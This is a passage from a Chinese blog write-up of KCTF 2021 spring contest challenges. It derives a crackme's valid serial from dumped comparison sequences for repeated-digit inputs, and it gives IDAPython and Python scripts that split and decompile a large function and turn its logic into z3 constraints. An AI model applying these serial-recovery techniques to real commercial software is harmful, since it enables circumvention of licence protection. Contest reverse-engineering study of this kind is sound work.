serial的每一位对应着比较的半个比特

带着这个猜测 再多比较了几次 发现确实是这样

破局

那不就好办了

只要name输入为KCTF

然后dump出000000…. 11111…. fffff….的比较序列

再把要求的00 00 00 01 00 02 00 03 …. 00 07所对应的找到组合起来

就可以得到正确的serial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
00000000000000000000000000000000
85A4A5E55B399224E3F9715B80BA999C

11111111111111111111111111111111
94B5B4F44A288335F2E8604A91AB888D

22222222222222222222222222222222
A78687C7791BB006C1DB5379A298BBBE

33333333333333333333333333333333
B69796D6680AA117D0CA4268B389AAAF

44444444444444444444444444444444
C1E0E1A11F7DD660A7BD351FC4FEDDD8

55555555555555555555555555555555
D0F1F0B00E6CC771B6AC240ED5EFCCC9

66666666666666666666666666666666
E3C2C3833D5FF442859F173DE6DCFFFA

77777777777777777777777777777777
F2D3D2922C4EE553948E062CF7CDEEEB

88888888888888888888888888888888
0D2C2D6DD3B11AAC6B71F9D308321114

99999999999999999999999999999999
1C3D3C7CC2A00BBD7A60E8C219230005

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2F0E0F4FF193388E4953DBF12A103336

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
3E1F1E5EE082299F5842CAE03B012227

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
4968692997F55EE82F35BD974C765550

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
5879783886E44FF93E24AC865D674441

EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
6B4A4B0BB5D77CCA0D179FB56E547772

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
7A5B5A1AA4C66DDB1C068EA47F456663

00000001000200030004000500060007
85A4A5E45B3B9227E3FD715E80BC999B

验证正确!!!

后记

这个题居然就这样做出来了,如果是作者是没想到这一点的话,那可真是太可惜了,感觉这题应该是一个非常有难度的题目的.

第九题 平定战乱

这是一道 pwn 题

第十题 一统江湖

分离大函数并反编译到文件的 python 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def search(address,table):
for i in range(len(table)):
if table[i] != '?':
if ida_bytes.get_byte( address+ i) == table[i]:
if i == len(table) - 1:
return 1
else:
return 0

def makenode():
st = 0x401610
end = 0x6cbf52
table = [3,'?',8,0x8A,'?',0xFF,0x88]
count = 1
node = ['node_0 : 0x401610, ']
while st < end:
if search( st, table) == 1:
funend = str(hex(st + 8))
node[-1] += funend
node.append('node_' + str(count) + ' : ' + funend + ', ')
count += 1
st += 1
node.pop()
return node

def makefun():
del_func(0x401610)
nodes = makenode()
f = open('decompile.txt','a+')
for node in nodes:
tmp = node.split(' : ')#['node_0', '0x401610, 0x405b92']
name = tmp[0]

tmp2 = tmp[1].split(', ')
st = int(tmp2[0],16)
end = int(tmp2[1],16)
if name == 'node_127':
end += 4
idc.set_name(st, name)
add_func(st,end)
set_frame_size(st,0x3C9F0,4,0)

set_func_attr(st, 8, 0x1410)#bp based frame
f.write(str(idaapi.decompile(st)))
#print('set func ' + name + ' at [ ' + str(hex(st)) + ', ' + str(hex(end)) + ']')
#get_func_attr(st,16)
#0:start 4:end 8:flags 36:颜色
f.close()

makefun()

将反编译整合成128个式子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import os, time, sys, re
#cd desktop &&python3 test.py
def FAR(string,fed):
while True:
ind = string.find(fed)
if ind == -1:
break
rightcount = 0
leftcount = 0
index = ind
flag = 0

if string[ind+2] != '(':
if fed == '<':
right = string[ind:].find(']') + ind
flag = 1
if string[ind+3] != '(':
if fed == '>=':
right = string[ind:].find(']') + ind
flag = 1

if flag == 0:
for i in string[ind:]:
if i == '(':
leftcount += 1
elif i == ')':
rightcount +=1
if leftcount != 0 and rightcount != 0:
if leftcount == rightcount:
right = index
break
index += 1
rightcount = 0
leftcount = 0
index = ind
if string[ind-2] != ')':
left = string[:ind].rfind('a')
else:
for i in string[ind::-1]:
if i == '(':
leftcount += 1
elif i == ')':
rightcount += 1
if leftcount != 0 and rightcount != 0:
if leftcount == rightcount:
left = index
break
index -= 1
#(a ^ 1) & (b & 1) <
#~((a ^ 1) & (b & 1)) >=
if fed == '<':
a=string[left:ind-1]
b=string[ind+2:right+1]
#print(a+" < "+b)
#print("(" + a + " ^ 1) & (" + b + " & 1)")
#os.system('pause')
string = string.replace(a+" < "+b, "(" + a + "^1)&(" + b + "&1)")
elif fed == '>=':
a=string[left:ind-1]
b=string[ind+3:right+1]
#print(a+" >= "+b)
#print("((~((" + a + "^1)&(" + b + "&1)))&1)")
#os.system('pause')
string = string.replace(a+" >= "+b, "((~((" + a + "^1)&(" + b + "&1)))&1)")
return string

file = open("./kctf10/decompile.txt",encoding="utf8")
key = "a1"
sb = ''
line_num = 0
maxline = 0
line = file.readlines()
sbb = []
while True:
i = 0
line_num += 1
maxline = max(maxline,line_num)
if line_num <= len(line):
if key in line[line_num]:
while 'v3' not in line[line_num]:
sb += line[line_num].split(' = ')[1][:-5] + '('
line_num -= 1
i += 1
sb += line[line_num].split(' = ')[1][:-5] + '('
i += 1
line_num -= 1
sb += line[line_num].split(' = ')[1][:-2]
while i != 0:
sb += ')'
i -= 1
maxline += 1
line_num = maxline
sb+='\n'
sbb.append(sb)
sb = ''
else:
break

file.close()
#for i in range(len(sbb)):
# print('printf("%%s",inn[%d]==('%i + sbb[i][:-1] + ')?"set\\n":"unset\\n");')
#i = 2
for i in range(len(sbb)):
#if True:
end = FAR(sbb[i],'<')
end = FAR(end,'>=')
#print(end)
#print('printf("%%s",inn[%d]==('%i + end[:-1] + ')?"set\\n":"unset\\n");')
end = (' s.add(inn[%d] == ('%i) + end[:-1] + '))'
print(end)
文章作者: Usher
文章链接: https://usher2008.github.io/2021/06/01/KCTF%202021%20%E6%98%A5%E5%AD%A3%E8%B5%9B/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Usher